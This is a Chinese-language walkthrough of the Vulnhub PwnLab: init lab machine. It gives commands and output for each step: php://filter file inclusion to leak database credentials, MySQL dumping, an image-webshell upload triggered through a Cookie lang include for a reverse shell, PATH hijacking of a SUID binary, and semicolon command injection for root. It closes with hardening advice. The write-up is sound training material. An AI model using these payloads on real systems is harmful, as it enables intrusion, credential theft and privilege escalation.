PwnLab: init 靶机渗透测试(Vulnhub Writeup)
一、靶机与环境介绍
本次实战目标为 Vulnhub 平台的 PwnLab: init 靶机,是一台典型的 Web 渗透加 SUID 提权综合靶机。完整攻击链为:信息收集 → ?page= 参数文件包含用 php://filter 读出 config.php 数据库凭据 → MySQL 3306 对外开放直连,拿到三个 Base64 编码系统用户密码 → 代码审计 upload.php 白名单后上传图片马 → 利用 Cookie lang 参数无后缀包含本地图片马升级 RCE → 密码复用切到 kane → msgmike 二进制 PATH 劫持 cat 命令切到 mike → msg2root 二进制命令注入提权 root。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.171。
二、信息收集
(一)存活主机扫描
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162
192.168.153.171 00:0c:29:6c:86:ea VMware, Inc.
(二)端口扫描
开放 80(Apache 2.4.10,标题 PwnLab Intranet Image Hosting)、111(rpcbind)、3306(MySQL 5.5.47)与一个高位 RPC status 端口。MySQL 直接对外开放是本次攻击的关键突破口。
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.153.171
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
3306/tcp open mysql
56496/tcp open unknown
┌──(root㉿kali)-[~]
└─# nmap 192.168.153.171 -p80,111,3306,48992 -sV -sC -O
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: PwnLab Intranet Image Hosting
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
(三)目录扫描
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.153.171 -x php,html,md,zip,txt
/index.php (Status: 200) [Size: 332]
/images (Status: 301) [Size: 319] [--> http://192.168.153.171/images/]
/login.php (Status: 200) [Size: 250]
/upload (Status: 301) [Size: 319] [--> http://192.168.153.171/upload/]
/upload.php (Status: 200) [Size: 19]
/config.php (Status: 200) [Size: 0]
三、php://filter 文件包含读取敏感源码
(一)?page= 包含点读 config.php
首页 index.php 存在 ?page= 参数,直接拼接到 include 中。由于后端会自动追加 .php 后缀,无法直接读取任意文件,但可以使用 php://filter 协议把 PHP 源码 Base64 编码后输出,从而绕过源码不执行的问题。
http://192.168.153.171/?page=php://filter/convert.base64-encode/resource=config

将回显的 Base64 字符串解码,得到 config.php 中的数据库账号密码:
<?php
$username = "root";
$password = "H4u%QJ_H99";
?>
(二)继续审计 upload.php 与 index.php
用同样的 php://filter 手法分别读取 upload.php 与 index.php 源码进行代码审计。

upload.php 对上传做了三重校验:文件后缀白名单仅允许 .jpg/.jpeg/.gif/.png;Content-Type 必须包含 image;getimagesize 返回的 MIME 也必须是图片类型;最终保存路径为 upload/<md5(原文件名)>.<后缀>。
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); }
if(strpos($filetype,'image') === false) { die('Error 001'); }
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg' && $imageinfo['mime'] != 'image/png') { die('Error 002'); }
if(substr_count($filetype, '/')>1){ die('Error 003'); }
$uploadfile = $uploaddir . md5(basename($_FILES['file'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else { die('Error 4'); }
}
}
?>
index.php 中存在两处文件包含:?page= 会自动拼接 .php 后缀,无法直接包含上传的图片马;但 Cookie 中的 lang 参数直接 include("lang/".\$_COOKIE'lang'),没有任何后缀拼接,这就是后续包含图片马的入口。
<?php
if (isset($_COOKIE['lang'])) {
include("lang/".$_COOKIE['lang']);
}
?>
<?php
if (isset($_GET['page'])) {
include($_GET['page'].".php");
}
?>
四、MySQL 直连获取系统凭据
3306 端口对外开放,直接用刚拿到的 root 凭据连接 MySQL,在 Users 数据库 users 表中拿到三个 Base64 编码的密码。
┌──(root㉿kali)-[~]
└─# mysql -h 192.168.153.171 -uroot -p
Enter password: H4u%QJ_H99
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Users |
+--------------------+
mysql> use Users;
mysql> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
Base64 解码后得到三个明文密码:
kent : JWzXuBJJNy
mike : SIfdsTEn6I
kane : iSv5Ym2GRo
五、图片马上传 + Cookie lang 包含 RCE
(一)制作合法图片马
在 GIF 图片文件尾追加一句话木马,文件后缀改为 .gif,绕过 upload.php 的三重白名单校验。上传后服务器返回保存路径,文件名是 md5(原文件名).gif,例如 f8c3fc737f057212414e67a22be29837.gif。
(二)Cookie 包含图片马反弹 Shell
由于 ?page= 会自动补 .php 后缀,无法直接包含图片马;但 Cookie lang 参数直接拼接路径,用 HackBar 或浏览器插件在请求头加入 Cookie: lang=../upload/<md5>.gif,即可让 PHP 把上传的 GIF 当作 PHP 文件执行,图片马中的一句话被触发。

┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.153.162] from (UNKNOWN) [192.168.153.171] 34618
www-data@pwnlab:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
六、SUID 二进制链式提权
(一)密码复用切到 kane
查看 /etc/passwd 发现系统中有 john、kent、mike、kane 四个本地用户,依次用数据库中拿到的三个密码尝试 su,只有 kane 的 iSv5Ym2GRo 能成功登录。
www-data@pwnlab:/var/www/html$ cat /etc/passwd | grep -E "kent|mike|kane|john"
john:x:1000:1000:,,,:/home/john:/bin/bash
kent:x:1001:1001:,,,:/home/kent:/bin/bash
mike:x:1002:1002:,,,:/home/mike:/bin/bash
kane:x:1003:1003:,,,:/home/kane:/bin/bash
www-data@pwnlab:/var/www/html$ su kane
Password: iSv5Ym2GRo
kane@pwnlab:~$ id
uid=1003(kane) gid=1003(kane) groups=1003(kane)
(二)msgmike:PATH 劫持 cat 命令切到 mike
在 kane 家目录下发现 SUID 二进制 msgmike(属主 mike),用 strings 查看其调用的外部命令,发现它会 system("cat /home/mike/msg.txt")。由于 cat 是通过 PATH 查找的外部命令,可以在 /tmp 伪造一个 cat 脚本输出 /bin/bash,再把 /tmp 加到 PATH 最前面,执行 msgmike 时就会拉起一个以 mike 身份运行的 Shell。
kane@pwnlab:~$ ls -al
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
kane@pwnlab:~$ strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
cat /home/mike/msg.txt
kane@pwnlab:~$ echo '/bin/bash' > /tmp/cat
kane@pwnlab:~$ chmod +x /tmp/cat
kane@pwnlab:~$ export PATH=/tmp:$PATH
kane@pwnlab:~$ ./msgmike
mike@pwnlab:~$ id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
(三)msg2root:命令注入提权 root
在 mike 家目录下发现另一个 SUID 二进制 msg2root(属主 root),strings 显示它调用 asprintf 拼接用户输入,再 system("/bin/echo %s >> /root/messages.txt")。由于使用的是 /bin/echo 绝对路径,PATH 劫持失效,但 system 函数会启动 shell 解释命令,因此可以通过分号 ; 注入任意命令。
mike@pwnlab:/home/mike$ ls -la
-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root
mike@pwnlab:/home/mike$ strings msg2root
/lib/ld-linux.so.2
libc.so.6
stdin
asprintf
system
/bin/echo %s >> /root/messages.txt
mike@pwnlab:/home/mike$ ./msg2root
Message for root: test;/bin/bash -p
test
bash-4.3# id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
bash-4.3# whoami
root
bash-4.3# ls /root
flag.txt messages.txt
bash-4.3# less /root/flag.txt
If you are reading this, means that you have break 'init' PwnLab.
I hope you enjoyed and thanks for your time doing this challenge.
七、总结
PwnLab: init 靶机的完整攻击链如下:
-
端口扫描发现 80 Web 与 3306 MySQL 同时对外开放;
-
?page= 存在文件包含,用 php://filter/convert.base64-encode 读出 config.php 中数据库 root 凭据 H4u%QJ_H99;
-
直连 MySQL 拿到 Users.users 表中 kent、mike、kane 三个 Base64 密码;
-
审计 upload.php 白名单后,在合法 GIF 尾部追加一句话上传为 .gif;
-
利用无后缀的 Cookie lang=../upload/<md5>.gif 包含图片马,把文件包含升级为 RCE 并反弹 Shell;
-
密码复用切到 kane,再通过 msgmike 的 PATH 劫持 cat 切到 mike;
-
msg2root 用 system() 拼接用户输入,通过分号 ; 注入 /bin/bash -p 直接拿 root。
对应的安全建议:① 数据库 3306 端口绝不应对公网开放,且必须使用强密码、禁用 root 远程登录;② PHP 文件包含参数必须做白名单校验,禁止直接拼接用户输入,更要禁用 php://filter、data:// 等危险协议;③ 文件上传必须校验文件内容、重命名、限制存储目录脚本执行权限;④ 系统密码与数据库密码必须分离,避免一处泄露全线复用;⑤ SUID 二进制绝不应调用外部命令或使用 system() 拼接用户输入,需要执行命令时应使用 execve 系列函数并写死绝对路径与参数数组,杜绝 shell 注入。